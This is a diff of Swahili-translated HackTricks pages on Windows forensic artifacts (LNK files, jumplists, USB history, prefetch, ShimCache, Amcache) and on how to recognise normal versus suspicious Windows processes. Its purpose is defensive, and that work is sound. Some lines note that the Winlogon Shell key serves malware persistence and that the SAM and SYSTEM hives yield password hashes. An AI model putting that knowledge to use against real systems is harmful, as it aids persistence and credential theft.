- Kipengele cha User Assist kinarekodi takwimu za matumizi ya programu kwa undani, ikiwa ni pamoja na hesabu ya kuendesha na wakati wa mwisho wa kuendesha, katika **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
### **Shellbags Analysis**
- Shellbags, zikifunua maelezo ya ufikiaji wa folda, zimehifadhiwa katika `USRCLASS.DAT` na `NTUSER.DAT` chini ya `Software\Microsoft\Windows\Shell`. Tumia **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** kwa uchambuzi.
### **USB Device History**
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** na **`HKLM\SYSTEM\ControlSet001\Enum\USB`** zina maelezo mengi kuhusu vifaa vya USB vilivyounganishwa, ikiwa ni pamoja na mtengenezaji, jina la bidhaa, na nyakati za muunganisho.
- Mtumiaji anayehusishwa na kifaa maalum cha USB anaweza kupatikana kwa kutafuta hives za `NTUSER.DAT` kwa **{GUID}** ya kifaa.
- Kifaa cha mwisho kilichounganishwa na nambari yake ya mfululizo wa volume kinaweza kufuatiliwa kupitia `System\MountedDevices` na `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, mtawalia.
Hii mwongozo inakusanya njia muhimu na mbinu za kufikia maelezo ya kina ya mfumo, mtandao, na shughuli za mtumiaji kwenye mifumo ya Windows, ikilenga uwazi na matumizi.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,106 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
## smss.exe
**Meneja wa Kikao**.\
Kikao 0 kinaanzisha **csrss.exe** na **wininit.exe** (**huduma za OS**) wakati Kikao 1 kinaanzisha **csrss.exe** na **winlogon.exe** (**kikao cha Mtumiaji**). Hata hivyo, unapaswa kuona **mchakato mmoja tu** wa hiyo **binary** bila watoto katika mti wa michakato.
Pia, vikao mbali na 0 na 1 vinaweza kumaanisha kuwa vikao vya RDP vinafanyika.
## csrss.exe
**Mchakato wa Mfumo wa Mteja/Server**.\
Inasimamia **michakato** na **nyuzi**, inafanya **API ya Windows** ipatikane kwa michakato mingine na pia **inaandika herufi za diski**, kuunda **faili za muda**, na kushughulikia **mchakato wa kuzima**.
Kuna moja **inayoendesha katika Kikao 0 na nyingine katika Kikao 1** (hivyo **michakato 2** katika mti wa michakato). Nyingine inaundwa **kwa kila Kikao kipya**.
## winlogon.exe
**Mchakato wa Kuingia wa Windows**.\
Inawajibika kwa **kuingia**/**kutoka** kwa mtumiaji. Inaanzisha **logonui.exe** ili kuuliza jina la mtumiaji na nenosiri kisha inaita **lsass.exe** ili kuyathibitisha.
Kisha inaanzisha **userinit.exe** ambayo imeainishwa katika **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** na ufunguo **Userinit**.
Zaidi ya hayo, rejista ya awali inapaswa kuwa na **explorer.exe** katika ufunguo wa **Shell** au inaweza kutumika vibaya kama **njia ya kudumu ya malware**.
## wininit.exe
**Mchakato wa Kuanza wa Windows**. \
Inaanzisha **services.exe**, **lsass.exe**, na **lsm.exe** katika Kikao 0. Inapaswa kuwa na mchakato 1 tu.
## userinit.exe
**Programu ya Kuingia ya Userinit**.\
Inapakia **ntduser.dat katika HKCU** na kuanzisha **mazingira ya mtumiaji** na kuendesha **script za kuingia** na **GPO**.
Inaanzisha **explorer.exe**.
## lsm.exe
**Meneja wa Kikao cha Mitaa**.\
Inafanya kazi na smss.exe ili kudhibiti vikao vya watumiaji: Kuingia/kutoka, kuanzisha shell, kufunga/kufungua desktop, nk.
Baada ya W7 lsm.exe ilibadilishwa kuwa huduma (lsm.dll).
Inapaswa kuwa na mchakato 1 tu katika W7 na kutoka kwao huduma inayokimbia DLL.
## services.exe
**Meneja wa Udhibiti wa Huduma**.\
In **pakia** **huduma** zilizowekwa kama **kuanzisha kiotomatiki** na **madereva**.
Ni mchakato mzazi wa **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** na mengi zaidi.
Huduma zinaainishwa katika `HKLM\SYSTEM\CurrentControlSet\Services` na mchakato huu unahifadhi DB katika kumbukumbu ya taarifa za huduma ambazo zinaweza kuulizwa na sc.exe.
Kumbuka jinsi **huduma** **zingine** zitakuwa zinaendesha katika **mchakato wao wenyewe** na nyingine zitakuwa **zinashiriki mchakato wa svchost.exe**.
Inapaswa kuwa na mchakato 1 tu.
## lsass.exe
**Mifumo ya Mamlaka ya Usalama wa Mitaa**.\
Inawajibika kwa **uthibitishaji** wa mtumiaji na kuunda **tokeni za usalama**. Inatumia pakiti za uthibitishaji zilizoko katika `HKLM\System\CurrentControlSet\Control\Lsa`.
Inandika kwenye **kumbukumbu ya tukio la Usalama** na inapaswa kuwa na mchakato 1 tu.
Kumbuka kuwa mchakato huu unashambuliwa sana ili kuteka nenosiri.
## svchost.exe
**Mchakato wa Kihost wa Huduma ya Kijeneriki**.\
Inahifadhi huduma nyingi za DLL katika mchakato mmoja wa pamoja.
Kwa kawaida, utapata kuwa **svchost.exe** inazinduliwa na bendera `-k`. Hii itazindua uchunguzi kwenye rejista **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** ambapo kutakuwa na ufunguo wenye hoja iliyotajwa katika -k ambayo itakuwa na huduma za kuzindua katika mchakato huo huo.
Kwa mfano: `-k UnistackSvcGroup` itazindua: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc`
Ikiwa **bendera `-s`** pia inatumika na hoja, basi svchost inaombwa **kuanzisha huduma iliyotajwa tu** katika hoja hii.
Kutakuwa na michakato kadhaa ya `svchost.exe`. Ikiwa yoyote kati yao **haitumii bendera `-k`**, basi hiyo ni ya kushuku sana. Ikiwa unapata kuwa **services.exe si mzazi**, hiyo pia ni ya kushuku sana.
## taskhost.exe
Mchakato huu unafanya kazi kama mwenyeji wa michakato inayokimbia kutoka kwa DLLs. Pia inapakia huduma zinazokimbia kutoka kwa DLLs.
Katika W8 hii inaitwa taskhostex.exe na katika W10 taskhostw.exe.
## explorer.exe
Huu ni mchakato unaohusika na **desktop ya mtumiaji** na kuanzisha faili kupitia nyongeza za faili.
**Mchakato 1 tu** unapaswa kuanzishwa **kwa kila mtumiaji aliyeingia.**
Hii inakimbia kutoka **userinit.exe** ambayo inapaswa kumalizika, hivyo **hakuna mzazi** anapaswa kuonekana kwa mchakato huu.
# Kukamata Michakato ya Uhalifu
- Je, inakimbia kutoka kwenye njia inayotarajiwa? (Hakuna binaries za Windows zinazoendesha kutoka eneo la muda)
- Je, inawasiliana na IP za ajabu?
- Angalia saini za kidijitali (vitu vya Microsoft vinapaswa kusainiwa)
- Je, imeandikwa vizuri?
- Je, inakimbia chini ya SID inayotarajiwa?
- Je, mchakato mzazi ni yule anayetarajiwa (ikiwa upo)?
- Je, michakato ya watoto ni zile zinazotarajiwa? (hakuna cmd.exe, wscript.exe, powershell.exe..?)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,5 @@
# Windows Artifacts
## Windows Artifacts
{{#include ../../../banners/hacktricks-training.md}}
## Generic Windows Artifacts
@ -20,7 +18,7 @@ Database inapatikana katika njia `\Users\<username>\AppData\Local\ConnectedDevic
### ADS (Alternate Data Streams)
Faili zilizopakuliwa zinaweza kuwa na **ADS Zone.Identifier** ikionyesha **jinsi** ilivyokuwa **imepakuliwa** kutoka intranet, internet, n.k. Programu zingine (kama vivinjari) kawaida huweka hata **zaidi** ya **taarifa** kama **URL** kutoka ambapo faili ilipakuliwa.
Faili zilizopakuliwa zinaweza kuwa na **ADS Zone.Identifier** ikionyesha **jinsi** ilivyokuwa **imepakuliwa** kutoka intranet, internet, n.k. Programu zingine (kama vivinjari) kawaida huweka hata **maelezo** **zaidi** kama **URL** ambapo faili ilipakuliwa.
## **File Backups**
@ -42,13 +40,13 @@ Kuwa na faili hizi unaweza kutumia zana [**Rifiuti**](https://github.com/abelche
### Nakala za Kivuli
Shadow Copy ni teknolojia iliyojumuishwa katika Microsoft Windows ambayo inaweza kuunda **nakala za akiba** au picha za faili au volumu za kompyuta, hata wakati zinatumika.
Shadow Copy ni teknolojia iliyojumuishwa katika Microsoft Windows ambayo inaweza kuunda **nakala za akiba** au picha za faili za kompyuta au volumu, hata wakati zinatumika.
Nakala hizi za akiba kwa kawaida zinapatikana katika `\System Volume Information` kutoka kwenye mzizi wa mfumo wa faili na jina lake linaundwa na **UIDs** zilizoonyeshwa katika picha ifuatayo:
Nakala hizi za akiba kwa kawaida zinapatikana katika `\System Volume Information` kutoka mzizi wa mfumo wa faili na jina linaundwa na **UIDs** zilizoonyeshwa katika picha ifuatayo:
![](<../../../images/image (94).png>)
Kuweka picha ya uchunguzi kwa kutumia **ArsenalImageMounter**, chombo [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) kinaweza kutumika kuchunguza nakala ya kivuli na hata **kutoa faili** kutoka kwenye nakala za akiba za kivuli.
Kuweka picha ya uchunguzi na **ArsenalImageMounter**, chombo [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) kinaweza kutumika kuchunguza nakala ya kivuli na hata **kutoa faili** kutoka kwa nakala za akiba za kivuli.
![](<../../../images/image (576).png>)
@ -58,9 +56,9 @@ Kichupo cha rejista `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupR
Rejista `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` pia ina taarifa za usanidi kuhusu `Volume Shadow Copies`.
### Faili za Ofisi Zilizohifadhiwa Kiotomatiki
### Faili za AutoSaved za Ofisi
Unaweza kupata faili za ofisi zilizohifadhiwa kiotomatiki katika: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
Unaweza kupata faili za auto-saved za ofisi katika: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## Vitu vya Shell
@ -68,20 +66,20 @@ Kitu cha shell ni kitu kinachobeba taarifa kuhusu jinsi ya kufikia faili nyingin
### Hati za Karibuni (LNK)
Windows **hujenga** hizi **kiungo** kiotomatiki wakati mtumiaji **anapofungua, kutumia au kuunda faili** katika:
Windows **hujenga** hizi **fupi** kiotomatiki wakati mtumiaji **anapofungua, kutumia au kuunda faili** katika:
- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
- Ofisi: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
Wakati folda inaundwa, kiungo kwa folda, kwa folda ya mzazi, na folda ya babu pia kinaundwa.
Hizi faili za kiungo zilizoundwa kiotomatiki **zina taarifa kuhusu asili** kama ikiwa ni **faili** **au** **folda**, **MAC** **nyakati** za faili hiyo, **taarifa za volumu** ya mahali faili imehifadhiwa na **folda ya faili lengwa**. Taarifa hii inaweza kuwa muhimu kurejesha faili hizo ikiwa zingeondolewa.
Hizi faili za kiungo zilizoundwa kiotomatiki **zinabeba taarifa kuhusu asili** kama ikiwa ni **faili** **au** **folda**, **MAC** **nyakati** za faili hiyo, **taarifa za volumu** ya mahali faili imehifadhiwa na **folda ya faili lengwa**. Taarifa hii inaweza kuwa muhimu kurejesha faili hizo ikiwa zingeondolewa.
Pia, **tarehe iliyoundwa ya kiungo** faili ni **wakati** wa kwanza faili asili ilitumika na **tarehe** **iliyorekebishwa** ya faili ya kiungo ni **wakati** wa **mwisho** faili asili ilitumika.
Ili kuchunguza faili hizi unaweza kutumia [**LinkParser**](http://4discovery.com/our-tools/).
Katika chombo hiki utapata **seti 2** za nyakati:
Katika zana hii utapata **seti 2** za nyakati:
- **Seti ya Kwanza:**
1. FileModifiedDate
@ -98,15 +96,15 @@ Unaweza kupata taarifa sawa ukitumia chombo cha CLI cha Windows: [**LECmd.exe**]
```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
Katika kesi hii, habari itahifadhiwa ndani ya faili ya CSV.
In this case, the information is going to be saved inside a CSV file.
### Jumplists
Hizi ni faili za hivi karibuni ambazo zinaonyeshwa kwa kila programu. Ni orodha ya **faili za hivi karibuni zinazotumiwa na programu** ambazo unaweza kufikia kwenye kila programu. Zinaundwa **kiotomatiki au kuwa za kawaida**.
Hizi ni faili za hivi karibuni ambazo zinaonyeshwa kwa kila programu. Ni orodha ya **faili za hivi karibuni zinazotumiwa na programu** ambazo unaweza kufikia kwenye kila programu. Zinaundwa **kiotomatiki au zinaweza kuwa za kawaida**.
**Jumplists** zilizoundwa kiotomatiki zinahifadhiwa katika `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Jumplists zinaitwa kwa kufuata muundo wa `{id}.autmaticDestinations-ms` ambapo ID ya awali ni ID ya programu.
**Jumplists** zilizoundwa kiotomatiki zinahifadhiwa katika `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Jumplists zinaitwa kwa kufuata muundo `{id}.autmaticDestinations-ms` ambapo ID ya awali ni ID ya programu.
Jumplists za kawaida zinahifadhiwa katika `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` na huundwa na programu kwa kawaida kwa sababu jambo **muhimu** limetokea na faili (labda imewekwa kama kipenzi).
Jumplists za kawaida zinahifadhiwa katika `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` na zinaundwa na programu kwa kawaida kwa sababu kitu **muhimu** kimefanyika na faili hiyo (labda imewekwa kama kipenzi).
**Wakati ulioanzishwa** wa jumplist yoyote unaonyesha **wakati wa kwanza faili ilipofikiwa** na **wakati uliobadilishwa mara ya mwisho**.
@ -132,7 +130,7 @@ Kumbuka kwamba baadhi ya faili za LNK badala ya kuelekeza kwenye njia ya asili,
![](<../../../images/image (218).png>)
Faili katika folda ya WPDNSE ni nakala ya zile za asili, hivyo hazitakuwa na uwezo wa kuishi baada ya kuanzisha tena PC na GUID inachukuliwa kutoka shellbag.
Faili katika folda ya WPDNSE ni nakala za zile za asili, hivyo hazitakuwa na uwezo wa kuishi baada ya kuanzisha tena PC na GUID inachukuliwa kutoka shellbag.
### Taarifa za Registry
@ -142,7 +140,7 @@ Faili katika folda ya WPDNSE ni nakala ya zile za asili, hivyo hazitakuwa na uwe
Angalia faili `C:\Windows\inf\setupapi.dev.log` ili kupata alama za wakati kuhusu wakati muunganisho wa USB ulifanyika (tafuta `Section start`).
![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
### USB Detective
@ -152,19 +150,19 @@ Angalia faili `C:\Windows\inf\setupapi.dev.log` ili kupata alama za wakati kuhus
### Plug and Play Cleanup
Kazi iliyopangwa inayojulikana kama 'Plug and Play Cleanup' imeundwa hasa kwa ajili ya kuondoa toleo la zamani la madereva. Kinyume na kusudi lake lililotajwa la kuhifadhi toleo la hivi karibuni la kifurushi cha dereva, vyanzo vya mtandaoni vinapendekeza pia inawalenga madereva ambayo hayajatumika kwa siku 30. Kwa hivyo, madereva ya vifaa vinavyoweza kuondolewa ambavyo havijaundwa katika siku 30 zilizopita yanaweza kufutwa.
Kazi iliyopangwa inayojulikana kama 'Plug and Play Cleanup' imeundwa hasa kwa ajili ya kuondoa toleo za dereva zilizopitwa na wakati. Kinyume na kusudi lake lililotajwa la kuhifadhi toleo la hivi karibuni la kifurushi cha dereva, vyanzo vya mtandaoni vinapendekeza pia inawalenga madereva ambao hawajatumika kwa siku 30. Kwa hivyo, madereva ya vifaa vinavyoweza kuondolewa ambavyo havijawahi kuunganishwa katika siku 30 zilizopita yanaweza kufutwa.
Kazi hiyo iko katika njia ifuatayo: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
Picha ya skrini inayoonyesha maudhui ya kazi hiyo inapatikana: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
Picha inayoonyesha maudhui ya kazi hiyo inapatikana: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**Vipengele Muhimu na Mipangilio ya Kazi:**
**Vipengele na Mipangilio Muhimu ya Kazi:**
- **pnpclean.dll**: DLL hii inawajibika kwa mchakato halisi wa kusafisha.
- **UseUnifiedSchedulingEngine**: Imewekwa kuwa `TRUE`, ikionyesha matumizi ya injini ya kupanga kazi ya kawaida.
- **MaintenanceSettings**:
- **Period ('P1M')**: Inamwelekeza Mpangaji wa Kazi kuanzisha kazi ya kusafisha kila mwezi wakati wa matengenezo ya Kiotomatiki.
- **Deadline ('P2M')**: Inamwelekeza Mpangaji wa Kazi, ikiwa kazi hiyo inashindwa kwa miezi miwili mfululizo, kutekeleza kazi hiyo wakati wa matengenezo ya dharura ya Kiotomatiki.
- **Period ('P1M')**: Inamuru Mpangaji wa Kazi kuanzisha kazi ya kusafisha kila mwezi wakati wa matengenezo ya Kiotomatiki.
- **Deadline ('P2M')**: Inamuru Mpangaji wa Kazi, ikiwa kazi hiyo inashindwa kwa miezi miwili mfululizo, kutekeleza kazi hiyo wakati wa matengenezo ya dharura ya Kiotomatiki.
Usanidi huu unahakikisha matengenezo ya kawaida na kusafisha madereva, huku ukiweka masharti ya kujaribu tena kazi hiyo endapo kutakuwa na kushindwa mfululizo.
@ -183,15 +181,15 @@ Pia, ndani ya vichwa vya `References` na `In-Reply-To` unaweza kupata ID ya ujum
### Windows Mail App
Programu hii huhifadhi barua pepe katika HTML au maandiko. Unaweza kupata barua pepe ndani ya folda ndogo ndani ya `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Barua pepe huhifadhiwa kwa kiendelezi cha `.dat`.
Programu hii huhifadhi barua pepe katika HTML au maandiko. Unaweza kupata barua pepe ndani ya folda ndogo ndani ya `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Barua pepe huhifadhiwa kwa kiendelezi `.dat`.
**Metadata** ya barua pepe na **mawasiliano** yanaweza kupatikana ndani ya **EDB database**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
**Metadata** ya barua pepe na **mawasiliano** yanaweza kupatikana ndani ya **database ya EDB**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
**Badilisha kiendelezi** cha faili kutoka `.vol` kuwa `.edb` na unaweza kutumia zana [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) kuifungua. Ndani ya jedwali la `Message` unaweza kuona barua pepe.
**Badilisha kiendelezi** cha faili kutoka `.vol` kuwa `.edb` na unaweza kutumia chombo [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) kuifungua. Ndani ya jedwali la `Message` unaweza kuona barua pepe.
### Microsoft Outlook
Wakati seva za Exchange au wateja wa Outlook zinapotumika kutakuwa na vichwa vya MAPI:
Wakati seva za Exchange au wateja wa Outlook zinatumika kutakuwa na vichwa vya MAPI:
- `Mapi-Client-Submit-Time`: Wakati wa mfumo wakati barua pepe ilitumwa
- `Mapi-Conversation-Index`: Idadi ya ujumbe wa watoto wa thread na alama za wakati za kila ujumbe wa thread
@ -205,13 +203,94 @@ Katika mteja wa Microsoft Outlook, ujumbe wote waliotumwa/waliopokelewa, data za
Njia ya registry `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` inaonyesha faili inayotumika.
Unaweza kufungua faili ya PST kwa kutumia zana [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
Unaweza kufungua faili ya PST kwa kutumia chombo [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
![](<../../../images/image (498).png>)
### Microsoft Outlook OST Files
Faili ya **OST** inaundwa na Microsoft Outlook wakati imewekwa
Faili ya **OST** inaundwa na Microsoft Outlook wakati imewekwa na **IMAP** au seva ya **Exchange**, ikihifadhi habari sawa na faili ya PST. Faili hii inasawazishwa na seva, ikihifadhi data kwa **mwezi 12 uliopita** hadi **ukubwa wa juu wa 50GB**, na iko katika saraka sawa na faili ya PST. Ili kuona faili ya OST, chombo [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) kinaweza kutumika.
### Kurejesha Viambatisho
Viambatisho vilivyopotea vinaweza kurejeshwa kutoka:
- Kwa **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
- Kwa **IE11 na zaidi**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
### Thunderbird MBOX Files
**Thunderbird** hutumia **MBOX files** kuhifadhi data, zilizoko katika `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
### Picha za Thumbnail
- **Windows XP na 8-8.1**: Kufikia folda yenye thumbnails kunazalisha faili ya `thumbs.db` inayohifadhi mapitio ya picha, hata baada ya kufutwa.
- **Windows 7/10**: `thumbs.db` inaundwa wakati inafikiwa kupitia mtandao kupitia njia ya UNC.
- **Windows Vista na toleo jipya**: Mapitio ya thumbnail yanakusanywa katika `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` na faili zinaitwa **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) na [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) ni zana za kuangalia faili hizi.
### Taarifa za Windows Registry
Registry ya Windows, inayohifadhi data kubwa ya shughuli za mfumo na mtumiaji, inapatikana ndani ya faili katika:
- `%windir%\System32\Config` kwa funguo mbalimbali za `HKEY_LOCAL_MACHINE`.
- `%UserProfile%{User}\NTUSER.DAT` kwa `HKEY_CURRENT_USER`.
- Windows Vista na toleo jipya hifadhi faili za registry za `HKEY_LOCAL_MACHINE` katika `%Windir%\System32\Config\RegBack\`.
- Aidha, habari za utekelezaji wa programu huhifadhiwa katika `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` kuanzia Windows Vista na Windows 2008 Server kuendelea.
### Zana
Zana zingine ni muhimu kuchambua faili za registry:
- **Registry Editor**: Imewekwa katika Windows. Ni GUI ya kuvinjari kupitia registry ya Windows ya kikao cha sasa.
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Inakuwezesha kupakia faili ya registry na kuvinjari kupitia hizo kwa GUI. Pia ina Vitabu vya Alama vinavyosisitiza funguo zenye habari za kuvutia.
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Tena, ina GUI inayoruhusu kuvinjari kupitia registry iliyopakiwa na pia ina plugins zinazosisitiza habari za kuvutia ndani ya registry iliyopakiwa.
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Programu nyingine ya GUI inayoweza kutoa habari muhimu kutoka kwa registry iliyopakiwa.
### Kurejesha Kitu Kilichofutwa
Wakati funguo inafutwa inakisiwa kama hivyo, lakini hadi nafasi inayoshikilia inahitajika haitafutwa. Kwa hivyo, kutumia zana kama **Registry Explorer** inawezekana kurejesha funguo hizi zilizofutwa.
### Wakati wa Mwisho wa Kuandika
Kila Key-Value ina **alama ya wakati** inayoonyesha wakati wa mwisho ilipobadilishwa.
### SAM
Faili/hive **SAM** ina **watumiaji, vikundi na nywila za watumiaji** hashes za mfumo.
Katika `SAM\Domains\Account\Users` unaweza kupata jina la mtumiaji, RID, kuingia kwa mwisho, kuingia kwa mwisho kulikoshindwa, hesabu ya kuingia, sera ya nywila na wakati akaunti ilianzishwa. Ili kupata **hashes** unahitaji pia **faili/hive** **SYSTEM**.
### Kuingilia ya Kuvutia katika Registry ya Windows
{{#ref}}
interesting-windows-registry-keys.md
{{#endref}}
## Programu Zilizotekelezwa
### Mchakato wa Msingi wa Windows
Katika [post hii](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) unaweza kujifunza kuhusu mchakato wa kawaida wa Windows ili kugundua tabia za kushuku.
### APPs za Hivi Karibuni za Windows
Ndani ya registry `NTUSER.DAT` katika njia `Software\Microsoft\Current Version\Search\RecentApps` unaweza kupata funguo ndogo zenye habari kuhusu **programu iliyotekelezwa**, **wakati wa mwisho** ilipotekelezwa, na **idadi ya mara** ilizinduliwa.
### BAM (Background Activity Moderator)
Unaweza kufungua faili ya `SYSTEM` kwa mhariri wa registry na ndani ya njia `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` unaweza kupata habari kuhusu **programu zilizotekelezwa na kila mtumiaji** (kumbuka `{SID}` katika njia) na **wakati** zilipotekelezwa (wakati uko ndani ya thamani ya Data ya registry).
### Windows Prefetch
Prefetching ni mbinu inayoruhusu kompyuta **kuleta rasilimali zinazohitajika kuonyesha maudhui** ambayo mtumiaji **anaweza kufikia katika siku za karibuni** ili rasilimali ziweze kufikiwa haraka.
Windows prefetch inajumuisha kuunda **cache za programu zilizotekelezwa** ili kuweza kuzipakia haraka. Cache hizi zinaundwa kama faili za `.pf` ndani ya njia: `C:\Windows\Prefetch`. Kuna kikomo cha faili 128 katika XP/VISTA/WIN7 na faili 1024 katika Win8/Win10.
Jina la faili linaundwa kama `{program_name}-{hash}.pf` (hash inategemea njia na hoja za executable). Katika W10 faili hizi zimepandishwa. Kumbuka kwamba uwepo wa faili hiyo unadhihirisha kwamba **programu ilitekelezwa** wakati fulani.
Faili `C:\Windows\Prefetch\Layout.ini` ina **majina ya folda za faili ambazo zimepangwa**. Faili hii ina **habari kuhusu idadi ya utekelezaji**, **tarehe** za utekelezaji na **faili** **zilizofunguliwa** na programu.
Ili kuchunguza faili hizi unaweza kutumia chombo [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```
@ -219,7 +298,7 @@ Faili ya **OST** inaundwa na Microsoft Outlook wakati imewekwa
### Superprefetch
**Superprefetch** ina lengo sawa na prefetch, **kupakia programu haraka zaidi** kwa kutabiri kile kitakachopakuliwa next. Hata hivyo, haitoi huduma ya prefetch.\
**Superprefetch** ina lengo sawa na prefetch, **kupakia programu haraka** kwa kutabiri kile kitakachopakuliwa next. Hata hivyo, haitoi huduma ya prefetch.\
Huduma hii itaunda faili za database katika `C:\Windows\Prefetch\Ag*.db`.
Katika hizi databases unaweza kupata **jina** la **programu**, **idadi** ya **utekelezaji**, **faili** **zilizofunguliwa**, **kiasi** **kilichofikiwa**, **njia** **kamili**, **muda** na **alama za muda**.
@ -237,8 +316,8 @@ Inatoa taarifa zifuatazo:
- Bytes zilizotumwa
- Bytes zilizopokelewa
- Kiunganishi cha Mtandao
- Muda wa Muunganisho
- Muda wa Mchakato
- Muda wa muunganisho
- Muda wa mchakato
Taarifa hii inasasishwa kila dakika 60.
@ -248,7 +327,7 @@ Unaweza kupata tarehe kutoka faili hii kwa kutumia chombo [**srum_dump**](https:
```
### AppCompatCache (ShimCache)
**AppCompatCache**, pia inajulikana kama **ShimCache**, ni sehemu ya **Database ya Ufanisi wa Maombi** iliyotengenezwa na **Microsoft** ili kushughulikia masuala ya ufanisi wa maombi. Kipengele hiki cha mfumo kinarekodi vipande mbalimbali vya metadata ya faili, ambavyo vinajumuisha:
The **AppCompatCache**, pia inajulikana kama **ShimCache**, ni sehemu ya **Database ya Ulinganifu wa Maombi** iliyotengenezwa na **Microsoft** ili kushughulikia masuala ya ulinganifu wa maombi. Kipengele hiki cha mfumo kinarekodi vipande mbalimbali vya metadata ya faili, ambavyo vinajumuisha:
- Njia kamili ya faili
- Ukubwa wa faili
@ -259,7 +338,7 @@ Unaweza kupata tarehe kutoka faili hii kwa kutumia chombo [**srum_dump**](https:
Taarifa kama hizi zinahifadhiwa ndani ya rejista katika maeneo maalum kulingana na toleo la mfumo wa uendeshaji:
- Kwa XP, data inahifadhiwa chini ya `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` ikiwa na uwezo wa kuingia 96.
- Kwa Server 2003, pamoja na toleo la Windows 2008, 2012, 2016, 7, 8, na 10, njia ya hifadhi ni `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, ikikubali kuingia 512 na 1024, mtawalia.
- Kwa Server 2003, pamoja na toleo la Windows 2008, 2012, 2016, 7, 8, na 10, njia ya uhifadhi ni `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, ikikubali kuingia 512 na 1024, mtawalia.
Ili kuchambua taarifa zilizohifadhiwa, zana ya [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser) inapendekezwa kutumika.
@ -269,19 +348,19 @@ Ili kuchambua taarifa zilizohifadhiwa, zana ya [**AppCompatCacheParser**](https:
Faili ya **Amcache.hve** kimsingi ni hive ya rejista inayorekodi maelezo kuhusu maombi ambayo yamefanywa kwenye mfumo. Kawaida hupatikana katika `C:\Windows\AppCompat\Programas\Amcache.hve`.
Faili hii ni ya kipekee kwa kuhifadhi rekodi za michakato iliyotekelezwa hivi karibuni, ikiwa ni pamoja na njia za faili zinazoweza kutekelezwa na hash zao za SHA1. Taarifa hii ni muhimu kwa kufuatilia shughuli za maombi kwenye mfumo.
